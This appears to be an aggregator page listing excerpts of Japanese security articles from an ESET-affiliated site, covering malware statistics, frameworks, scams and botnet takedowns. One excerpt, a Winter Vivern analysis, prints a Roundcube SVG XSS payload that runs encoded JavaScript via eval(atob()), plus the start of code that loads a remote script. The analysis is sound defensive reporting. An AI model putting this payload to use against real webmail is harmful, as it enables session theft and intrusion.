2024年11月 マルウェアレポート | サイバーセキュリティ情報局
11月の概況 2024年11月（11月1日～11月30日）にESET製品が国内で検出したマルウェアの検出数の推移は、以下のとおりです。 国内マルウェア検出数*1の推移 (2024年6月の全検出数を100%として比較) *1 検出数にはPUA (Potentially Unwanted/Unsafe Application: 必ずしも悪意があるとは限らないが、コンピューターのパフォーマンスに悪影響を及ぼす可能性があるアプリケーション)を含めています。 2024年11月の国内マルウェア検出数は、2024年10月と比較して増加しました。検出されたマルウェアの内訳は以下のとおりです。 国内マルウェア検出数*2上位（2024年11月） 順位 マルウェア名 割合 種別 1 DOC/Fraud 19.7% 詐欺サイトのリンクが埋め込まれたDOCファイル 2 JS/Adware.TerraClicks 1
XDRとは？高度なセキュリティソリューションのメリットと導入における注意点 | サイバーセキュリティ情報局
サイバー攻撃の高度化・多様化に伴い、ランサムウェア攻撃などによる被害が頻発している。こうした事態を受け、企業・組織では従来にも増して高度な対策を余儀なくされている。この記事では、外部攻撃による兆候の検知・対処を横断的に担うXDRについて、その概要と機能、導入時の注意点について解説する。 ゼロトラスト時代のセキュリティ対策 DX（デジタルトランスフォーメーション）という言葉を耳にすることが増えている昨今、デジタル技術の浸透によって、企業・組織におけるアタックサーフェスは拡大傾向にある。こうした時代の潮流はいわば不可逆的なものであり、企業・組織では今後もデジタル活用を前提としたセキュリティ対策が常態的に求められる。 このような環境変化に応じて、広がってきているセキュリティ概念がゼロトラストセキュリティだ。ゼロトラストとは「すべての通信を信頼しない」という前提の元にセキュリティ対策を講じる考え方
知らないと被害に遭う可能性が高い！ SNSを悪用する手口とは？ | サイバーセキュリティ情報局
SNSを利用した詐欺やマルウェア感染が近年増加している。ThreadsやBlueskyといった新しいSNSプラットフォームの登場により、攻撃対象は拡大している。投資詐欺やロマンス詐欺、マルウェア配布など、手口は多様化しており、若年層も標的となっている。SNSの匿名性という特性が、攻撃者にとって有利な状況である。そのため、最新のSNSの悪用事例や動向を把握し、自分を守る対策を紹介する。 近年、SNSを経由した詐欺サイトへの誘導、マルウェアの配布などが増加傾向である。新たなSNSとしてThreads（テキスト共有SNS）やBluesky（分散型SNS）なども登場し注目されているが、新しいSNSプラットフォームの出現は、新たなターゲットの増加にも繋がっている。SNSという匿名性の高い環境は攻撃者にとって好都合であり、多様な攻撃が国内外で展開されている。その中には、最近よく見かける著名人を装って投
NISTサイバーセキュリティフレームワーク 2.0で問われる「ガバナンス」の重要性 | サイバーセキュリティ情報局
米国の政府機関であるNISTが策定したNIST CSFは、世界の多くの企業が重視しているサイバーセキュリティフレームワークである。そのNIST CSFが2024年2月26日、大幅にバージョンアップし、NIST CSF 2.0として公開された。そこで今回のバージョンアップのポイントと今後のセキュリティ対策の考え方について解説したい。 NIST CSF（サイバーセキュリティフレームワーク）とは NISTとは「National Institute of Standards and Technology：米国国立標準技術研究所」の略であり、その名称のとおり、科学技術分野における基準や標準化に関する研究、策定を行っている米国の政府機関である。NISTの目的は、公正な基準を定めることで、米国におけるイノベーションや産業の競争力を促進することである。 そのNISTが定めたサイバーセキュリティフレームワー
2024年5月 マルウェアレポート | サイバーセキュリティ情報局
5月の概況 2024年5月（5月1日～5月31日）にESET製品が国内で検出したマルウェアの検出数の推移は、以下のとおりです。 国内マルウェア検出数*1の推移 (2023年12月の全検出数を100%として比較) *1 検出数にはPUA (Potentially Unwanted/Unsafe Application; 必ずしも悪意があるとは限らないが、コンピューターのパフォーマンスに悪影響を及ぼす可能性があるアプリケーション)を含めています。 2024年5月の国内マルウェア検出数は、2024年4月と比較して減少しました。検出されたマルウェアの内訳は以下のとおりです。 国内マルウェア検出数*2上位（2024年5月） 順位 マルウェア名 割合 種別
2024年3月 マルウェアレポート | サイバーセキュリティ情報局
*2 本表にはPUAを含めていません。 3月に国内で最も多く検出されたマルウェアは、HTML/Phishing.Agentでした。 HTML/Phishing.Agentは、メールに添付された不正なHTMLファイルの汎用検出名です。HTMLファイル内に埋め込まれたURLに接続すると、個人情報の窃取、マルウェアのダウンロードといった被害に遭う可能性があります。 WordPressを狙う攻撃者 WordPressはGNU General Public License (GPL) の下で配布されているオープンソースのコンテンツ管理システム（CMS）です。多種多様なプラグインを使えることや初心者でも扱いやすいGUIを備えていることから、世界各国の個人・企業がWordPressを使用しています。WordPressの発表によると、Web 上の43%のサイトが WordPress を利用しているとされて
銀行を標的とするトロイの木馬「Grandoreiro」を解体する国際的な作戦にESET社も参加 | サイバーセキュリティ情報局
Grandoreiroは、ラテンアメリカで銀行を標的とする数多くあるトロイの木馬の1つです。Grandoreiroは、少なくとも2017年から活動しています。ESET社の研究者はそれ以来、このサイバー攻撃グループの活動を詳しく追跡してきました。Grandoreiroは当初、ブラジルとメキシコの企業を標的としていましたが、2019年からはスペインの企業も標的にするようになりました（図1）。2020年から2022年にかけてはスペインの企業が最も多く標的になりましたが、2023年にはメキシコとアルゼンチンの企業が主に狙われるようになりました。 Grandoreiroの機能については、ESET社が2020年にこちらのブログで説明したときからほとんど変わっていません。このセクションでは、マルウェアの機能の概要について説明します。また、主に新しいDGAのロジックになりますが、いくつかの変更点については
マイクロソフト社よりセキュリティ更新プログラム（2024年4月）が公開されました | サイバーセキュリティ情報局
マイクロソフト社より、4月10日 にセキュリティ更新プログラムの情報が公開されました。 今回公開されたプログラムではセキュリティ面での深刻度「緊急」のものが1件含まれています。 今後のこれらの脆弱性を悪用したマルウェアなどによる攻撃に備え、早期にセキュリティ更新プログラムの適用を推奨いたします。今回のセキュリティ更新プログラムで修正した脆弱性には、更新プログラムが公開されるよりも前に悪用や脆弱性の詳細が公開されているものが含まれていますので、早急に更新プログラムの適用を行ってください。 【プログラム一覧】 以下の情報は、マイクロソフト社のページからのものです。 2024 年 4 月のセキュリティ更新プログラム (月例) 更新プログラムの詳細はマイクロソフト社のページでご確認下さい。 最大深刻度 製品ファミリ 最も大きな影響
ProcDot | サイバーセキュリティ情報局
概要 ProcDotはオーストリアのコンピューター緊急対応チーム（CERT）の一人であるChristian Wojnerによって開発されたマルウェアの動作を可視化するツールです。 ISCライセンスで公開されており、ソフトウェアをホームページから無料でダウンロードすることが可能です。 ProcDotは、マルウェア解析で使われるProcess Monitorとパケットキャプチャツールから得られる情報を統合し、可視化することができます。 Process MonitorはMicrosoft社のSysinternalsで公開されているWindows用の高度な監視ツールで、ファイルシステムやレジストリ、プロセスのアクティビティなどを監視することができます。 パケットキャプチャツールは、さまざまなプロトコルの通信を可視化するために使用するツールです。 マルウェア解析においては、これらのツールを組み合わせ
はじめて買ったパソコンを安心して使う！「セキュリティ初心者のための三原則」 | サイバーセキュリティ情報局
本記事は、ASCII.jp（株式会社角川アスキー総合研究所）に掲載された記事より転載／再編集したものです。 元記事：https://ascii.jp/elem/000/004/188/4188711/ 学校や家でパソコンを使っていても、セキュリティを含む基本的な設定や管理は家族にやってもらっていた、という人は多いだろう。しかし、進学や就職を機に自分専用のパソコンを手に入れた場合、すべて自分でイチから設定していく必要がある。 ユーザーアカウントの作成や移行、ソフトのインストールといった初期設定は、手順がある程度決まっているため、そこまで難しくない。必要最小限の設定が終わってしまえば使えるようになるので、ついついセキュリティに関しては後回しにしていまいがちだ。 もちろん、標準のままでもセキュリティ機能は搭載されているし、セキュリティ対策ソフトをインストールすれば、さらに強化することもできるだろ
改めて問われるメール誤送信対策において押さえておくべき2つの要因 | サイバーセキュリティ情報局
過去に発生した事例を見ていくと、情報漏えいの主な要因はヒューマンエラーによるものが多い。従業員向けにセキュリティ教育を実施したからと言って、こうした事態を防ぎ切れるものではない。この記事では、過去の事例を紹介しながら、企業・組織におけるメールの誤送信対策について解説していく。 メールの誤送信で生じる被害 メールは2000年初頭からビジネスの世界でも活用されるようになり、多くの企業で業務にパソコンを利用する頻度が高まるのにつれて浸透してきた。メールアドレスさえ把握していれば、必要に応じてファイルを添付できるため、物理的な距離に関係なくデータの授受も容易に行える。こうした手軽さもあり、メールはビジネスコミュニケーションの主流となった。 そうした利便性の反面、問題を引き起こしてきた側面もある。メールで受け渡す情報の中には、機密情報・個人情報が含まれるケースもある。こうした情報は特に厳格に取り扱わ
2024年1月・2月 マルウェアレポート | サイバーセキュリティ情報局
1月と2月の概況 2024年1月（1月1日～1月31日）と2月（2月1日～2月29日）にESET製品が国内で検出したマルウェアの検出数の推移は、以下のとおりです。 国内マルウェア検出数*1の推移 (2023年1月の全検出数を100%として比較) *1 検出数にはPUA (Potentially Unwanted/Unsafe Application; 必ずしも悪意があるとは限らないが、コンピューターのパフォーマンスに悪影響を及ぼす可能性があるアプリケーション)を含めています。 2024年2月の国内マルウェア検出数は、2023年12月と比較して増加しました。 2024年1月2月に検出されたマルウェアの内訳は以下のとおりです。 国内マルウェア検出数*2上位（2024年1月2月） 順位 マルウェア名 割合 種別
今改めておさらいしておきたい情報漏えい対策の基本 | サイバーセキュリティ情報局
コロナ禍をきっかけに、新たな働き方へシフトしている企業や従業員も散見される。そうした業務環境の変化が、情報漏えい発生の新たなリスクとして認識されつつある。この記事では、昨今の業務環境の変化に伴う情報漏えいの実態と、改めて復習しておきたい情報漏えい対策の基本について解説する。 働き方改革が生み出した新たな情報漏えいリスク 2020年以降のコロナ禍においては、企業・組織での働き方も大きく変化することを余儀なくされた。その結果、職種によっては「いつでも、どこでも」業務遂行が可能な環境が整備されたことで、もはや出社する必要性を感じなくなったという話も耳にする。 一方で、コロナ禍が次の段階に移行したことで、リモートワークから出社へと回帰する動きもみられる。リモートワークと出社の双方を組み合わせた「ハイブリッドワーク」なる言葉も生まれるなど、業務や生活の状況に応じた柔軟な働き方を行う企業・組織も出てき
悪名高いIoTボットネットの終焉。Moziを解体したのは誰？ | サイバーセキュリティ情報局
毎年何十万台ものIoTデバイスの脆弱性を攻撃してきた悪名高いMoziボットネットの活動が、2023年8月に突如として停止したことは、誰も予測できなかったのではないでしょうか。Moziボットネットの多くの機能が停止した状況は、2023年8月8日にインドで初めて観測され、その1週間後の8月16日には中国でも観測されました。 この急激な減少をESET社が調査したところ、2023年9月27日にキルスイッチを特定することができました。ESET社は、BitTorrentの分散型スローピーハッシュテーブル（BT-DHT）プロトコルの一般的なカプセル化が行われていないUDPメッセージ内に、制御ペイロード（構成ファイル）が存在していることを特定しました。このテイクダウンの背後にいる人物は、この制御ペイロードを8回送信していますが、毎回HTTP経由でアップデートをダウンロードしてインストールするようにボットに
Roundcube Webmailサーバーのゼロデイ脆弱性を悪用したWinter Vivernの攻撃 | サイバーセキュリティ情報局
useタグのhref属性でbase64エンコードされた値を復号したところ、次のようになりました。 <svg id="x" xmlns="http://www.w3.org/2000/svg"> <image href="x" onerror="eval(atob('<base64-encoded payload>'))" /></svg> href属性のx値の引数が有効なURLでないため、このオブジェクトのonerror属性が有効になります。onerror属性のペイロードを復号すると、以下のJavaScriptコード（悪意のあるURLは手動で変更しています）が得られました。このJavaScriptコードは、被害者のブラウザでRoundcubeセッションの権限で実行されます。 var fe=document.createElement('script');fe.src="https://re
ダウンローダーとは？マルウェアやランサムウェアの感染に関わるその存在 | サイバーセキュリティ情報局
近年のサイバー攻撃において、ダウンローダーを用いた攻撃は極めて巧妙で、セキュリティソフトによる検出・駆除を回避してしまう厄介な存在として認知されている。この記事では、ダウンローダーを介した攻撃が拡大している背景とその攻撃手法、そして、リスクを軽減させるための対策について解説する。 一般的にダウンローダーとは、ソフトウェアやコンテンツを一括で効率的にダウンロードするためのプログラムを指す。ファイルサイズの大きいものや、一度に複数のファイルをダウンロードできる機能を提供するものもある。より正確には「ダウンロードマネージャー」と呼ばれる。 多くのユーザーに知られている用途は、動画や音声コンテンツのダウンロードだろう。このようなダウンローダーでは、配信されるデータをオフラインで利用できるよう、MP3やMPEG4といったファイル形式に変換する。こうしたファイル操作を容易にするべく、各種ソフトウェア事
AIの進化はセキュリティ対策にどのような影響を及ぼすのか？ | サイバーセキュリティ情報局
近年、急速に進化を遂げるAIはさまざまな場面での活用が進められている。サイバーセキュリティの領域においても、攻撃側、防御側の双方にAIの進化は大きな影響をもたらしている。この記事では、AIの進化がセキュリティ対策に及ぼしている影響について、脅威と対策それぞれの面から解説する。 AIとは AIとは「Artificial Intelligence」の頭文字からなる略語であり、日本語では「人工知能」と訳される。人工知能とは文字通り、「人が持つ知能を人工的に再現するもの」であるが、この言葉が指す範囲は広い。 ChatGPTに代表される生成AIの登場による現在のAIブームは第4次AIブームと呼ばれ、これまでにも3回、AIがブームとなった時期があった。AI黎明期の第1次AIブームは1960年代に起こり、エキスパートシステムに期待が集まった第2次AIブームは1980～1990年代であった。そして、200
巧妙化する標的型攻撃メールの手法と求められる対策 | サイバーセキュリティ情報局
近年、増加傾向にある標的型攻撃メールは、特定の組織や個人をターゲットとして狙い撃ちすることから、気づかぬうちに被害に遭遇していることも少なくない。この記事では、標的型攻撃メールが用いる特徴的な攻撃手法の概要と実際の被害事例、加えて効果的な対策方法について詳しく解説する。 標的型攻撃とは 標的型攻撃とは、特定の組織や個人を狙って行われる攻撃である。この攻撃は主に、クレジットカードをはじめとした個人情報や企業の機密情報などの窃取を目的として実施される。その手法の多くは「標的型攻撃メール」として知られ、メールをきっかけとして実行されるものが多い。 この標的型攻撃メールは、スパムメールのように不特定多数の対象にばらまかれるメールとは異なり、標的型攻撃では事前にターゲットを詳細に調査し、実際の取引先や顧客、従業員に巧妙に偽装してメールを送信する。そのため、送信されるメールの内容は極めて自然で、狙われ
MITER ATT&CK | サイバーセキュリティ情報局
MITRE ATT&CK（Adversarial Tactics, Techniques, and Common Knowledge）とは、米国内のサイバーセキュリティ分野で行政をサポートする非営利組織のMITREが公開しているナレッジベース（知見を集約したデータベース）だ。MITRE ATT&CKでは、脆弱性を悪用したサイバー攻撃を、戦術と技術・手法の観点で分類しており、戦術ごとに個々の攻撃の技術・手法に対して、実際の事例や検知方法、対応策、セキュリティベンダーなどに関するレポートへのリンクなどが記載されている。 サイバー攻撃の一連の流れと手法を体系化したフレームワークとして捉えられており、MITRE ATT&CKは、四半期に一度、または不定期に更新が行われている。この更新によって、最新の脅威情報についての記述が追加されるため、定期的に確認することでサイバー攻撃のトレンドとその対処方法を
サイバー攻撃における代表的な12の手法、関連する事例と対策を交えながら解説 | サイバーセキュリティ情報局
AIをはじめとしたテクノロジーの進化に伴い、サイバー攻撃はさらに巧妙化し、あらゆる企業・組織が狙われている。サイバー攻撃を防ぐには、その手法や仕組みを理解することが重要だ。この記事では、多くのサイバー攻撃のうち、代表的な12の手法と関連する事例、そして具体的な対策について解説する。 1. マルウェア攻撃 マルウェアとは「Malicious（悪意ある）」と「Software（ソフトウェア）」を組み合わせた造語で、悪意ある目的を果たすために作成されたプログラムやソフトウェア全般を指す。近年では、感染力の高いマルウェアである「Emotet」が大きな脅威として知られている。 マルウェア攻撃による被害事例 ・従業員のパソコンがEmotetに感染 2023年3月に発生した電池製造企業におけるケースでは、従業員のパソコンがEmotetに感染したことがきっかけとなった。個人情報を含むデータが外部に流出した
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
